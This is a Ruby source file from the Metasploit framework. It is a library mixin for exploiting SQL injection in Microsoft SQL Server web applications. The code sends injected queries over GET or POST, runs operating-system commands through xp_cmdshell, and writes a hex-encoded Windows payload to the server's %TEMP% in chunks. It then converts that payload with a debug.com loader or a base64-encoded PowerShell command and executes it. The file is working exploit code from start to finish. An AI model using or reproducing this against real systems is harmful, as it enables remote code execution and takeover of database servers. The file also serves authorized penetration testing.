lib/msf/core/exploit/remote/mssql_sqli.rb
# -*- coding: binary -*-
module Msf
###
#
# This module wraps functionality for exploiting SQL injection vulnerabilities
# Some of the functionality has been borrowed from mssql.rb
#
###
module Exploit::Remote::MSSQL_SQLI
include Msf::Exploit::Remote::HttpClient
#
# Creates an instance of a MSSQL exploit module.
#
def initialize(info = {})
super
# Register the options that all MSSQL exploits may make use of.
register_options(
[
Opt::RHOST,
Opt::RPORT(80),
OptString.new('METHOD', [ true, 'GET or POST', 'GET']),
OptString.new('GET_PATH', [ true, 'The complete path with [SQLi] indicating the injection', '/']),
OptString.new('DATA', [ false, 'POST data, if necessary, with [SQLi] indicating the injection', '']),
OptString.new('COOKIE', [ false, 'Cookie value', '']),
], Msf::Exploit::Remote::MSSQL_SQLI)
register_advanced_options(
[
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
])
], Msf::Exploit::Remote::MSSQL_SQLI)
register_autofilter_ports([ 80, 443, 8080 ])
register_autofilter_services(%W{ http https })
end
#
# Execute a system command via xp_cmdshell
#
def mssql_xpcmdshell(cmd,doprint=false,opts={})
force_enable = false
begin
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint)
#mssql_print_reply(res) if doprint
return res
rescue RuntimeError => e
if(e.to_s =~ /xp_cmdshell disabled/)
force_enable = true
retry
end
raise e
end
end
#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end
print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
print_status("Uploading the payload, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the encoded payload...")
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 10})
end
#
# Upload and execute a Windows binary through MSSQL queries and Powershell
#
def powershell_upload_exec(exe, debug=false)
# hex converter
hex = exe.unpack("H*")[0]
# create random alpha 8 character names
#var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
# our payload converter, grabs a hex file and converts it to binary for us through powershell
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
h2b_unicode=Rex::Text.to_unicode(h2b)
# base64 encode it, this allows us to perform execution through powershell without registry changes
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
print_status("Uploading the payload #{var_payload}, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end
#
# Issue a SQL query using the SQL injection point
#
def mssql_query(sqla, doprint=false)
if (doprint)
print_status(sqla)
end
if (datastore['METHOD'] == 'GET')
unless datastore['GET_PATH'].index("[SQLi]")
fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path")
end
uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'cookie' => datastore['COOKIE'],
'headers' => {
'Accept' => '*/*',
}
}, 5)
else
unless datastore['DATA'].index("[SQLi]")
fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data")
end
post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
uri = datastore['GET_PATH']
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'data' => post_data,
'cookie' => datastore['COOKIE'],
'headers' => {
'Accept' => '*/*',
}
}, 5)
end
end
end
end